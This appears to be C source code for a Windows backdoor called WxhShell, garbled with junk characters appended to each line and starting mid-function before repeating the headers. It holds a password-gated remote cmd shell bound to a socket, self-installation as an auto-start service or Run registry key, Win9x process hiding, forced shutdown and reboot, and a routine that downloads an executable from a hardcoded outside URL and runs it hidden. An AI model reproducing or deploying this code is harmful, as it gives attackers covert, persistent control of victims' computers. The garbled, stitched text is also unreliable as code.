    } :'y{dbKp"  
    break; <r<Dmn|\a  
    } j!x<QNNX  
  // 关机 J-tq8   
  case 'd': { p:JRQT"A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hD6JW-  
    if(Boot(SHUTDOWN)) L$lo~7<]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y@]);MyL  
    else { 6Q2or n[  
    closesocket(wsh); ,2,SG/BB  
    ExitThread(0); XLZ j  
    } B:?#l=FL  
    break; df4sOqU  
    } U=F-] lD  
  // 获取shell 4|6&59?pnc  
  case 's': { BbrT f"`  
    CmdShell(wsh); Y9i9Uc.]  
    closesocket(wsh); Nmp>UE,7[  
    ExitThread(0); -@ZzG uS(  
    break; )X~Pr?52?  
  } =a)iVXSB]  
  // 退出 Iz}2 ^  
  case 'x': { [,<\RviI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Ffb&GL  
    CloseIt(wsh); ZcMj=#i  
    break; Kc%n(,+%"  
    } ovd^,?ib  
  // 离开 W$" Y%^L  
  case 'q': { h L]8e>a?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z;dcAdz9  
    closesocket(wsh); -G],H)M  
    WSACleanup(); gX@nPZjg  
    exit(1); psIkG0 &  
    break; pbDw Lo]  
        } xH<'GB)  
  } +{xMIl_  
  } G{kj}>kS_  
^:4L6  
  // 提示信息 (Sth:{;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H>?:U]  
} J>=1dCK  
  } k42b:W5%  
Es'-wr\Hm  
  return; :be:-b%K  
}  Y*@|My`  
!8xKf*y  
// shell模块句柄 zmf"I[)  
int CmdShell(SOCKET sock) /Hv* K&}M  
{ ,IIZ Xl@  
STARTUPINFO si; i8Fs0U4"  
ZeroMemory(&si,sizeof(si)); 5<89Af&&K8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cMDRWh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ia=_78MgZ  
PROCESS_INFORMATION ProcessInfo; k)`$%[K8  
char cmdline[]="cmd"; !0Idp%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HEBqv+bG  
  return 0; Z)mX,=p  
} M#OH Y *  
/Q?~Q0{)es  
// 自身启动模式 dgS4w@)@V;  
int StartFromService(void) )xB$LJM8  
{ i?F[||O"$  
typedef struct =~J"kC  
{ Ovv ny$  
  DWORD ExitStatus; `Kh]x9Z  
  DWORD PebBaseAddress; tM&n3MWQ  
  DWORD AffinityMask; *(k%MTG  
  DWORD BasePriority; i"L }!5  
  ULONG UniqueProcessId; QU:EY'2  
  ULONG InheritedFromUniqueProcessId; pT4qPta,2  
}   PROCESS_BASIC_INFORMATION; NEA_Plt  
79D=d'e A  
PROCNTQSIP NtQueryInformationProcess; E{uf\Fc   
!w q4EV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 42fprt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q[M (Wqg  
(lb6]MtTHY  
  HANDLE             hProcess; R6`*4z S  
  PROCESS_BASIC_INFORMATION pbi; 0$tjNy e  
Mx8Gu^FW.d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); On=u#DxQ  
  if(NULL == hInst ) return 0; DU;[btK>  
I*Vt,JYx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |/VL35b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uz 0W <u3v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tp Xa*6  
NCa~#i:F8  
  if (!NtQueryInformationProcess) return 0; A2y6UzLYD  
2B-.}OJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2\VAmPG.Zs  
  if(!hProcess) return 0; Yx5J$!Ld  
4E2yH6l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ejVdxVr\7  
5MxH)~VQoM  
  CloseHandle(hProcess); CWs: l3_yn  
{O)YwT$`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MY!q%  
if(hProcess==NULL) return 0; SSE3tcRRl  
lW p~t  
HMODULE hMod; EYkj@ .,  
char procName[255]; wf?u (3/%  
unsigned long cbNeeded; +0J@y1  
|xh&p(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z==!C=SBv  
GM](=|F  
  CloseHandle(hProcess); s`"OM^[-  
f')c/Yw  
if(strstr(procName,"services")) return 1; // 以服务启动 jyi FM5&  
1HhX/fpq  
  return 0; // 注册表启动 ]ni6p&b>  
} )\wuesAO  
il12T`a  
// 主模块 #$FrFU;ZR  
int StartWxhshell(LPSTR lpCmdLine) _#!U"hkH  
{ <FUon  
  SOCKET wsl; D*\v0=P'?  
BOOL val=TRUE;  R:~(Z?  
  int port=0; ?q _^Rj$  
  struct sockaddr_in door; zG#wu   
Q&xjF@I  
  if(wscfg.ws_autoins) Install(); zsDocR   
daslaa_A  
port=atoi(lpCmdLine); ;WD,x:>blO  
f^p^Y F+  
if(port<=0) port=wscfg.ws_port; EUy(T1Cl&&  
#--olEj!  
  WSADATA data; .n`( X#,*l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :?=Q39O9  
XA)'=L!^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mG2VZ>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N5? IpE  
  door.sin_family = AF_INET; ~-_i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gWOt]D&#/  
  door.sin_port = htons(port); #{$1z;i?f  
sw$2d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fG&=Ogy  
closesocket(wsl); jY/ARBC}H  
return 1; URA0ey`  
} ! Z;T-3^.  
U\jb"  
  if(listen(wsl,2) == INVALID_SOCKET) { #op:/j  
closesocket(wsl); fN)x#?  
return 1; o@W_ai_  
} mu[Op*)  
  Wxhshell(wsl); Hz@h0+h  
  WSACleanup(); IkDiT63]I  
;~+]! U  
return 0; lpy:3`ti  
sWHyL(C@  
} Izn T|l^  
~~nqU pK?v  
// 以NT服务方式启动 K]/Od  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h/2/vBs  
{ rkDi+D6`q  
DWORD   status = 0; u7s"0f`  
  DWORD   specificError = 0xfffffff; GqLq  gns  
{6*#3m Kk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +ZA)/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~$<UE}qp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CqFeF?xd8h  
  serviceStatus.dwWin32ExitCode     = 0; uSN"vpc4D  
  serviceStatus.dwServiceSpecificExitCode = 0; $DebXxJw0l  
  serviceStatus.dwCheckPoint       = 0; 4w4^yQE  
  serviceStatus.dwWaitHint       = 0; + P7o4]:/  
7 [d ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XF*.Jg]  
  if (hServiceStatusHandle==0) return; M;jcUX_{  
m%QSapV  
status = GetLastError(); B=n[)"5fBO  
  if (status!=NO_ERROR) SV.z>p  
{ 5u$D/* Eb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n2f6 p<8A  
    serviceStatus.dwCheckPoint       = 0; #HAC*n  
    serviceStatus.dwWaitHint       = 0; < Ek/8x  
    serviceStatus.dwWin32ExitCode     = status; HYCuK48F[_  
    serviceStatus.dwServiceSpecificExitCode = specificError; qMP1k7uG)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iWA|8$u4gm  
    return; Kqg!,Sn|  
  } 6na^]t~ncm  
-*B`]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?9mkRd}c  
  serviceStatus.dwCheckPoint       = 0; (R*j|HAw`X  
  serviceStatus.dwWaitHint       = 0; 8'#/LA[uPe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !eI2 r   
} .cDOl_z<:G  
v2)g 1sXd  
// 处理NT服务事件,比如:启动、停止 < zOi4v0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5Bjgr  
{ "m$3)7 $  
switch(fdwControl) Lrd[O v  
{ /<Ld'J  
case SERVICE_CONTROL_STOP: <a( }kk}  
  serviceStatus.dwWin32ExitCode = 0; S($Su7g%_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0 1V^L}  
  serviceStatus.dwCheckPoint   = 0; iW%8/$  
  serviceStatus.dwWaitHint     = 0; R=]d%L8  
  { x Q4%e[/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u92^(|  
  } Hfym30  
  return; N&,]^>^u  
case SERVICE_CONTROL_PAUSE: fv!?Ga(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -/P\"c  
  break; p H@]Y+W  
case SERVICE_CONTROL_CONTINUE: SaOYu &>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \%0n}.A  
  break; r'GP$0rr9!  
case SERVICE_CONTROL_INTERROGATE: j%IF2p2  
  break; Oy57$  
}; CGbwmPx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @FO) 0  
} wkUlrL/~  
LR(-<"  
// 标准应用程序主函数 NZ0O,} m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5PT5#[  
{ MGJ.,tK1  
k8AW6oO/i  
// 获取操作系统版本 Wb}c=hZv  
OsIsNt=GetOsVer(); yQNV@T<o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P"/G  
n>>Qn&ym  
  // 从命令行安装 k,yZ[n|`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5=|hC3h  
j|4C\~i  
  // 下载执行文件 )wvHGecp*  
if(wscfg.ws_downexe) { Ho;X4lo[j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yQ,{p@#X8  
  WinExec(wscfg.ws_filenam,SW_HIDE); A/7{oB:a  
} ,Wbwg  
*)M49a*UD  
if(!OsIsNt) { cy yVg!+  
// 如果时win9x,隐藏进程并且设置为注册表启动 7&qy5 y-Ap  
HideProc(); 6!'3oN{  
StartWxhshell(lpCmdLine); (QoI<j""  
} ZyrI R  
else `-h8vj5uG  
  if(StartFromService()) h:Gu`+D>W  
  // 以服务方式启动 z`UhB%-?  
  StartServiceCtrlDispatcher(DispatchTable); :a ->0 l  
else pi<TFe@eG  
  // 普通方式启动 anMF-x4/*q  
  StartWxhshell(lpCmdLine); R_XR4)(<  
}|u4 W?H  
return 0; ,EGQ@:3/  
} KGH/^!u+R  
w-wV3Q6X  
:L44]K5FL  
i0$Bx>  
=========================================== Q/>{f0  
C CBfKp  
#S&Tkip]"W  
/DQaGq/Ld  
2'EUy@0  
CHrFM@CM  
" ,(8;y=wux  
( +pLA"xq  
#include <stdio.h> aT>'.*\]  
#include <string.h> mGp.3{j  
#include <windows.h> if|+EN%  
#include <winsock2.h> OxI/%yv-c  
#include <winsvc.h> QnZcBXI8  
#include <urlmon.h> |7yAX+  
.ZvM^GJb  
#pragma comment (lib, "Ws2_32.lib") ![]`` g2  
#pragma comment (lib, "urlmon.lib") &e 6CJ  
C{gyj}5  
#define MAX_USER   100 // 最大客户端连接数 v\m ]A1  
#define BUF_SOCK   200 // sock buffer =R*qP;#  
#define KEY_BUFF   255 // 输入 buffer 79`AM X[b  
\b%kf99  
#define REBOOT     0   // 重启 ^6_e=jIN  
#define SHUTDOWN   1   // 关机 UfN&v >8f  
KMI_zhyB  
#define DEF_PORT   5000 // 监听端口 0"CG7Vg,zh  
^*P%=>zO  
#define REG_LEN     16   // 注册表键长度 &|f@$ff  
#define SVC_LEN     80   // NT服务名长度 8GvJ0Jq}U  
rM'=_nmi  
// 从dll定义API xx[9~z=d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZI=%JU(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "@?? Fw!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *h}XWBC1q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uV!^,,~  
6d_'4B  
// wxhshell配置信息 yzqVz_Fi*W  
struct WSCFG { { ^cV lC_  
  int ws_port;         // 监听端口 su*'d:L  
  char ws_passstr[REG_LEN]; // 口令 ?>I;34tL(  
  int ws_autoins;       // 安装标记, 1=yes 0=no I 'V4D[H5  
  char ws_regname[REG_LEN]; // 注册表键名 0NS<?p~_S  
  char ws_svcname[REG_LEN]; // 服务名 /YZr~|65  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E\Rhz]G(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $GlWf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b )B? F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {q"OM*L(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "?V0$-DR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DRcNdO/1E  
;kY(<{2  
}; &*+'>UEe5  
"rx-_uK*  
// default Wxhshell configuration O^oWG&Y;v  
struct WSCFG wscfg={DEF_PORT, mV3cp rRqv  
    "xuhuanlingzhe", O8h%3&  
    1, !\7!3$w'8,  
    "Wxhshell", eEuvl`&  
    "Wxhshell",  Vh_P/C+  
            "WxhShell Service", .&DhN#EN0  
    "Wrsky Windows CmdShell Service", +j< p \Kn>  
    "Please Input Your Password: ", ,6-:VIHQ  
  1, Wk)OkIFR  
  "http://www.wrsky.com/wxhshell.exe", \O2Rhz  
  "Wxhshell.exe"  #"@|f  
    }; *MKO I'  
OCNQvF~  
// 消息定义模块 L7dd(^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o,_? ^'@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n*2UnKaJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xu%'Z".>:  
char *msg_ws_ext="\n\rExit."; uG,5BV.M  
char *msg_ws_end="\n\rQuit."; >m$1Xx4#GV  
char *msg_ws_boot="\n\rReboot..."; jPUwSIP  
char *msg_ws_poff="\n\rShutdown..."; %J+E/  
char *msg_ws_down="\n\rSave to "; be.*#[  
P)P*Xq r#:  
char *msg_ws_err="\n\rErr!"; SLa>7`<Q  
char *msg_ws_ok="\n\rOK!"; <g$~1fa  
U|jSa,}  
char ExeFile[MAX_PATH]; 4 o Fel.o  
int nUser = 0; aDU<wxnSvO  
HANDLE handles[MAX_USER]; |?,A]|j  
int OsIsNt; 1q7|OWFT  
'uBu6G  
SERVICE_STATUS       serviceStatus; 4y|BOVl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $g> IyT[  
9Z4nAc  
// 函数声明 ]n6#VTz*  
int Install(void); 3}}38A|4  
int Uninstall(void); ~E17L]ete  
int DownloadFile(char *sURL, SOCKET wsh); 6 (]Dh;gC  
int Boot(int flag); e"|efE  
void HideProc(void); LRL,m_gt  
int GetOsVer(void); VK m&iidU  
int Wxhshell(SOCKET wsl); pFOx>u2`a  
void TalkWithClient(void *cs); k>;`FFQU>  
int CmdShell(SOCKET sock); HiZ*+T.B  
int StartFromService(void); G?O1>?4C  
int StartWxhshell(LPSTR lpCmdLine); nT7%j{e=L  
!|^|,"A)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T&6l$1J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8A##\j )  
vS;RJg=  
// 数据结构和表定义 %)1y AdG 8  
SERVICE_TABLE_ENTRY DispatchTable[] = -|$@-fY;  
{ bCRV\myd`  
{wscfg.ws_svcname, NTServiceMain}, ,E S0NA  
{NULL, NULL} ssfr}fzH  
}; Cd#(X@n  
l+KY)6o  
// 自我安装 | )K8N<n  
int Install(void) V% rzk*LA  
{ TM%| '^)  
  char svExeFile[MAX_PATH]; ]cHgleHQ  
  HKEY key; )_YX DU  
  strcpy(svExeFile,ExeFile); o#3ly-ht  
]_f_w 9]  
// 如果是win9x系统,修改注册表设为自启动 d,k!qjf=r  
if(!OsIsNt) { &u$Q4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E(>=rD/+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 75T%g!c#  
  RegCloseKey(key); (7wc*#}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5_GYrR2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M\uiq38  
  RegCloseKey(key); {$0mwAOH "  
  return 0; DX#Nf""Pw  
    } Ag-(5:  
  } @0Ic3C[rH6  
} "g5^_UP  
else { <? q?Mn  
YvaK0p0Z  
// 如果是NT以上系统,安装为系统服务 %~4M+r6T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -_=nDH  
if (schSCManager!=0) ,LHn90S  
{ j'Fpjt"&=  
  SC_HANDLE schService = CreateService <sb~ ^B  
  ( }bb;~  
  schSCManager, T<n  
  wscfg.ws_svcname,  dm\F  
  wscfg.ws_svcdisp, $*^7iT4q_t  
  SERVICE_ALL_ACCESS, <}C oQz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8'HEms  
  SERVICE_AUTO_START, o_izl \  
  SERVICE_ERROR_NORMAL, XWBA^|-N  
  svExeFile, Vh|*p&  
  NULL, ^UP`%egR  
  NULL, &GpRI(OB/+  
  NULL, P78g /p T  
  NULL, g];!&R-  
  NULL p_RsU`[  
  ); >^u2cAi3[  
  if (schService!=0) l!D}3jD  
  { ~[t[y~Hup  
  CloseServiceHandle(schService); zfJT,h-{  
  CloseServiceHandle(schSCManager); b6,iZ+]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qU \w=  
  strcat(svExeFile,wscfg.ws_svcname); ` 'DmDg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qqjwJ!@P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `+]Qz =}  
  RegCloseKey(key); (p"%O  
  return 0; 4>wP7`/+y  
    } D}-/c"':}  
  } Ogqj?]2QC  
  CloseServiceHandle(schSCManager); j`{?OYD  
} ">\?&0  
} 'g}!  
<$D`Z-6  
return 1; =*oJEy"  
} x+\`gK5  
2=*H 8'k  
// 自我卸载 OAgniLv  
int Uninstall(void) wW Lj?;bx  
{ u+9hL4  
  HKEY key; k R?qb6  
0CHH)Bku  
if(!OsIsNt) { 5?f ^Rz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Akq2 d;  
  RegDeleteValue(key,wscfg.ws_regname); Z%gh3  
  RegCloseKey(key); 6_(&6]}66  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Jo_"#5  
  RegDeleteValue(key,wscfg.ws_regname); tm|ZBM  
  RegCloseKey(key); z<MsKD0Q  
  return 0; tR# OjkvX  
  } '+@=ILj>  
} =}~hWL  
} +Q/R{#O  
else { =O~_Q-  
4S7v:1~xe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J"0`%'*/  
if (schSCManager!=0) Sh/08+@+L:  
{ .#EFLXs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  0HZ{Y9]  
  if (schService!=0) 6,pnw  
  { b!+hH Hv:  
  if(DeleteService(schService)!=0) { -M\<nx  
  CloseServiceHandle(schService); =7?4eYHC  
  CloseServiceHandle(schSCManager); l5~os>  
  return 0; d9k0F OR1  
  } N:^n('U&j  
  CloseServiceHandle(schService); kXViWOXU^  
  } EfqX y>W  
  CloseServiceHandle(schSCManager); 21n?=[  
} v_yw@  
} t$`r4Lb9/  
@="Pn5<]C  
return 1; F/ ]2G^-  
}  \__i  
(O\ )_#-D  
// 从指定url下载文件 1 s\Wtw:  
int DownloadFile(char *sURL, SOCKET wsh) zOJ%}  
{ A@`}c,G  
  HRESULT hr; kj Jn2c:y  
char seps[]= "/"; Z*F3G#A  
char *token; 11NQR[  
char *file; gM&{=WDG6  
char myURL[MAX_PATH]; )Om*@;r(  
char myFILE[MAX_PATH]; ~-k9%v`  
)705V|v  
strcpy(myURL,sURL); Zj(AJ*r  
  token=strtok(myURL,seps); X;$+,&M"  
  while(token!=NULL) _YRFet[,m  
  { 9i:L&dN  
    file=token; ;[ZEDF5H  
  token=strtok(NULL,seps); yNPVOp*  
  } _O?`@g?i  
e1yt9@k,  
GetCurrentDirectory(MAX_PATH,myFILE); e[1hz_v  
strcat(myFILE, "\\"); nkPh,X\N0  
strcat(myFILE, file); =F|{# F  
  send(wsh,myFILE,strlen(myFILE),0); /'SNw?&  
send(wsh,"...",3,0); /WcG{Wdp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !t"4!3  
  if(hr==S_OK) Z{*\S0^ST  
return 0; & l<.X  
else PrqlTT}Px  
return 1; p%ki>p )E|  
gt) I(  
} 8\^R~K`sY  
Xg6Jh``  
// 系统电源模块 9X6h  
int Boot(int flag) Ov@gh kr  
{ 2Ah#<k-gC;  
  HANDLE hToken; {p2!|A&a  
  TOKEN_PRIVILEGES tkp; +|3@=.V  
RH W]Z Pr<  
  if(OsIsNt) { AI2)g1m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z^B,:5Tt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D\v+wp.  
    tkp.PrivilegeCount = 1; +Ze} B*0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hPkp;a #  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iI T;K@&  
if(flag==REBOOT) { iT+8|Yia  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #\{l"-  
  return 0; E_rI?t^  
} 4> K42m  
else { =jN.1}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b=C*W,Q_#  
  return 0; "S[450%  
} (MM]N=Tw4  
  } yZY\MB/  
  else { i}f"yO+Q+  
if(flag==REBOOT) { bL`TySX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LE Nq_@$  
  return 0; bIDj[-CDG  
} P}}* Q7P  
else { l:~/<`o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J3V= 46Yc  
  return 0; uo9B9"&  
} ;?Tbnn Wn  
} LVM%"sd?  
%6 zB Sje  
return 1; 5vQHhwO50k  
} s[>,X#7 y  
XT%nbh&y  
// win9x进程隐藏模块 P;.W+WN  
void HideProc(void) -m zIT4  
{ u {cW:  
QT5TE: D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P= BZ+6DS  
  if ( hKernel != NULL ) ?>:g?.+  
  { U+jOTq8M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e*kpdS~U&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &J]K3w1p  
    FreeLibrary(hKernel); Pbn*_/H  
  } "]*&oQCI  
lN)C2 2  
return; z|J_b"u4  
} WDYeOtc  
yWc$>ne[L  
// 获取操作系统版本 tKuwpT1Qc  
int GetOsVer(void) "S]0  
{ s]0{a.Cpv  
  OSVERSIONINFO winfo; !PlEO 2at  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dj?> <@  
  GetVersionEx(&winfo); [85spub&}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nc29j_Id  
  return 1; e2Pcm_Ahv*  
  else q9K)Xk$LF  
  return 0; |3b^~?S  
} r|8d 4  
cl3K<'D  
// 客户端句柄模块 a.\:T,cP>  
int Wxhshell(SOCKET wsl) a5^] 20Fa  
{ sE<V5`Z=  
  SOCKET wsh; 79j+vH!zh  
  struct sockaddr_in client; H2 {+)  
  DWORD myID; u~:y\/Y6  
x_}:D *aI  
  while(nUser<MAX_USER) Mj3A5;#  
{ (8DC}kckE  
  int nSize=sizeof(client); -7[@R;FS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S3%FHS  
  if(wsh==INVALID_SOCKET) return 1;  -);Wfs  
{z5--TogJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7nTeP(M%  
if(handles[nUser]==0) B]wk+8SMY.  
  closesocket(wsh); H2\;%K 2  
else jOunWv|  
  nUser++; ZQsJL\x[UK  
  } 1=c\Rr9]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZU4nc3__  
f}ji?p  
  return 0; \)904W5R  
} ah&D%8E  
Sv#XIMw{,  
// 关闭 socket XEp{VC@=  
void CloseIt(SOCKET wsh) wssRA?9<  
{ n)-$e4u2  
closesocket(wsh); {6|G@ ""O  
nUser--; On:il$MU  
ExitThread(0); u%KTNa0  
} y2dCEmhY  
D/xbF`  
// 客户端请求句柄 2WL|wwA  
void TalkWithClient(void *cs) dq6m>;`  
{ _/$Bpr{R  
7>0o&  
  SOCKET wsh=(SOCKET)cs; ~ 'cmSiz-  
  char pwd[SVC_LEN]; xh,qNnGGi  
  char cmd[KEY_BUFF]; ^zmG0EH,  
char chr[1]; <c-=3}=U\  
int i,j; `2WFk8) F  
"Yv_B3p   
  while (nUser < MAX_USER) { ZY={8T@  
qJs<#MQ2  
if(wscfg.ws_passstr) { #U4F0BdA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 286;=rN]*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L#?Ek-  
  //ZeroMemory(pwd,KEY_BUFF); zkrM/ @p#  
      i=0; 4r#= *  
  while(i<SVC_LEN) { orpriO|qD  
8 +/rlHp  
  // 设置超时 [A~xy'T  
  fd_set FdRead; L.2^`mZs  
  struct timeval TimeOut; K(rWNO  
  FD_ZERO(&FdRead); _ QI\  
  FD_SET(wsh,&FdRead); n1t*sk/J  
  TimeOut.tv_sec=8; l`{\"#4  
  TimeOut.tv_usec=0; CS5?Ti6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IB"w&sBy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L(<*)No  
W ]1)zO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>C~ i:4n  
  pwd=chr[0]; .Iw AK/QS  
  if(chr[0]==0xd || chr[0]==0xa) { Lc,Pom  
  pwd=0; ~9]hV7y5C  
  break; Qh3YJ=X&  
  } |Nn)m  
  i++; RDi]2  
    } BWa,f8  
~d4 )/y  
  // 如果是非法用户,关闭 socket F?*-4I-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M61xPq8y5  
} |Q6.299  
wLH>:yKUU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~O0 $Suv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gIa+5\qYY  
)3}9K ^jS  
while(1) { )JLdO*H  
x%m%_2%Z  
  ZeroMemory(cmd,KEY_BUFF); Egp/f|y  
Y|f[bw  
      // 自动支持客户端 telnet标准   mt{nm[D!Xp  
  j=0; Qf+\;@  
  while(j<KEY_BUFF) { u@UMP@"#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c /HHy,  
  cmd[j]=chr[0]; /GN<\_o=q  
  if(chr[0]==0xa || chr[0]==0xd) { 61>.vT8P  
  cmd[j]=0; )e+>w=t  
  break; g`' !HGY  
  } mbxZL<ua  
  j++; C.yQ=\U2  
    } 9gDkTYkj  
b\kdKVh&  
  // 下载文件 ;kQhx6Z  
  if(strstr(cmd,"http://")) { DDP/DD;n}r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  :D6 ON"6  
  if(DownloadFile(cmd,wsh)) m)t;9J5  
